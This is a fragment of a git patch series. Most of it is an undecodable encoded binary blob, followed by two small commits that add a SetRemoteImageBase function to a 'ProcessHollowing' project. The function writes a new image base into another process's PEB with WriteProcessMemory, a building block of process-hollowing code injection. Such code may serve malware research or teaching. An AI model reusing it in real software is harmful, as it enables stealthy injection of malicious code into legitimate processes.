zz+c~jGeKcn%iBfkN%eH;rTcl9+F!{})!aVyRIQjLO^@ytb9ZJ(PbwIKiJ90(bG+Ys zVixTz1^@Kj9~y$~o0{c)dilZq54A+vhoz$EcMX}+JbCquDx>a)v&Fep^NG!@Dj=3u z#T-APs7)7nI+Xik5{M%k^f2$ZyX;&o9Zp+TGWXzzwaE^M8QNMJHkUbDbaoztMD@#Z-Vv`b*At7Zqd5s2K zm^7mD88$e2b`F9d#G^%>wAScIVKm2pR*gR^b#LZ%zeJM4D887Wj^%vszN-y+Kb1dy zJT^JDOB-9Ox15hPXUop3^1f>^=gs}Mf}#+Rol2Q6D6D~svU9lXVIe5NU2sa(uDx5Y z#xk*xSVTK@V5;+W>`{HJAzP}(C`F^o6M0qfNg5_DsM zE=%`foVSL7W3UBhY-gk#b-x_3GSU++Xo;WaF=__1&3iW9pD3~$acYVjoUY=uhSL{0 zeSy>MoF3uyc}@>=+Rf<+P7iR}#c3a>9h{1s9_REBrw2LR$Z0*Nr#SU;8sPL5PCGf> z3koM(7p>yP-rKr=pZ@g>78j?W@CFJ}W8SM<$KWr~(dEbYi_2fqX5bp0-1jst()0Z< zWnh2A`(M%{o&x-V3L5mhhMgi2BYxgWxqZ*@THhhgaBrXQhb_NN6D;u2{rDVz06(me z7b8zc9s~9m@(}U~OUm%}KVhb0kZPSxHYoS`NLEVG=I_hVT zpGNs7lu_P`{2cN%D+y(gq;FNw2UV%ELQT$}&+@NwQn@}E3 zs}q(=2)_xgt9yD zN^n{hMm|!2JcC-kYNIC=f(#3gaRpOKy+_fHrM>7}h_=EBZS-U_F`b$S{5R@!H*^)K zA@8iw!F%2W&!UoqgZ96Wx(gg%JBo-9Mv3f9zdKkL{wAdL4XYY{UHi80z^>x8e?It0 z(BJam8)Sp(Wm|-BaMzZd5f|PX{X&Zv*-{+}is4XTbs)6sVaXl#xFWvxj)1_oY0G*c zAh;vKpA;(T@a#y=Zv>}I79jp`bz?2A0{(W!-_Z)&gMfMCS+EixJ%$zXJN>LteO47m8Bjh%JR{R&ae@9EWY@`W#Qk8dbSh#$l@5 z31D`bpDR?@i6VcOeSt7_FU^DH&MREVDJ8%rR{qSa5XyQ5$o}Tb|O^-=zD9Ne5Xu5+{AyZ1V zUruXp&c|0h@+Ih=N@3`1HNtn&un&OQf$70h>1D)NFEEyd4FTH@Y-1WW0;~_%?X>Z- zabIi%HkyW&0ILT^c1$Hd?i^-J)yDJx5BJmlj5;9_akmL8L!B$wh6d+)i@C%T2rxE> zxm+z$I4lH3m(bZFbcnuCkj?!%)YXCrM{oEwtX*i22qI%;EZNEBbq75GA#8td6+GXUEo^K&eJyIB5Un% zAx`)i8OIkyGjn(Nmb6Ef?D7SdpvMyYPfhf-3rhl}OG=lhn>;~+b}_wq;s_DZ;|rw= zOz5w!JY8Vo2wuV6F|PeJ-G-p*iymjnomX?0W9&&?gCPFV=DRZ<7Q|}xDAb2TEjTdj zkghSc`V_=snQJ1+N+`TqaEtKF`mhioms_h{Ckf%*^+LEc1RoBz2-P82NeHuh{&4g) z9yTuxZRCCdkc|-9up8de-UtJ)h+qK%l~`-$nmaDvPz!&mfh)1^L8Dc|4ymn82&Xjp zGa92VceKLgY?kdb6_=T`9=d3Oj{>F+jAc*d19D+!=a8 z2p1bA--;FrbXCQz?m$E+HZHw0j(zDLpT)j(oKE(ocNT~4_N6Jip)z4FzP4(>cOdpH z)1)^UOa&&d=?5lVsj1Xi`bg>8(vDK8^n0bJN{^afHosv$Wxinkjrn)x>*i0)pPB#7 zoMD+_F<9=h+-oVaEVfuJcFQVDy=9YSo5f=ZS~@KUEYDkxTVAtFvsPIIN`TrsCKLBMA Date: Wed, 15 Feb 2023 14:01:50 +0100 Subject: [PATCH 6/7] Added missing SetRemoteImageBase function --- sourcecode/ProcessHollowing/PE.cpp | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/sourcecode/ProcessHollowing/PE.cpp b/sourcecode/ProcessHollowing/PE.cpp index 32d2d34..d72822b 100644 --- a/sourcecode/ProcessHollowing/PE.cpp +++ b/sourcecode/ProcessHollowing/PE.cpp @@ -93,3 +93,11 @@ PLOADED_IMAGE ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress) return pImage; } +BOOL SetRemoteImageBase(HANDLE hProcess, DWORD newImageBase) +{ + DWORD dwPEBAddress = FindRemotePEB(hProcess); + DWORD bytesWritten; + size_t base_offset = offsetof(PEB, ImageBaseAddress); + return WriteProcessMemory(hProcess, (PVOID)(dwPEBAddress + base_offset), &newImageBase, sizeof(newImageBase), &bytesWritten); +} + From 05b24eca5e6886df57642b926495f608e9823b29 Mon Sep 17 00:00:00 2001 From: Frank Block Date: Wed, 15 Feb 2023 14:03:16 +0100 Subject: [PATCH 7/7] Added missing SetRemoteImageBase definition --- sourcecode/ProcessHollowing/PE.h | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/sourcecode/ProcessHollowing/PE.h b/sourcecode/ProcessHollowing/PE.h index 994a7cb..9fcc72c 100644 --- a/sourcecode/ProcessHollowing/PE.h +++ b/sourcecode/ProcessHollowing/PE.h @@ -243,4 +243,6 @@ DWORD FindRemotePEB(HANDLE hProcess); PEB* ReadRemotePEB(HANDLE hProcess); -PLOADED_IMAGE ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress); \ No newline at end of file +PLOADED_IMAGE ReadRemoteImage(HANDLE hProcess, LPCVOID lpImageBaseAddress); + +BOOL SetRemoteImageBase(HANDLE hProcess, DWORD newImageBase);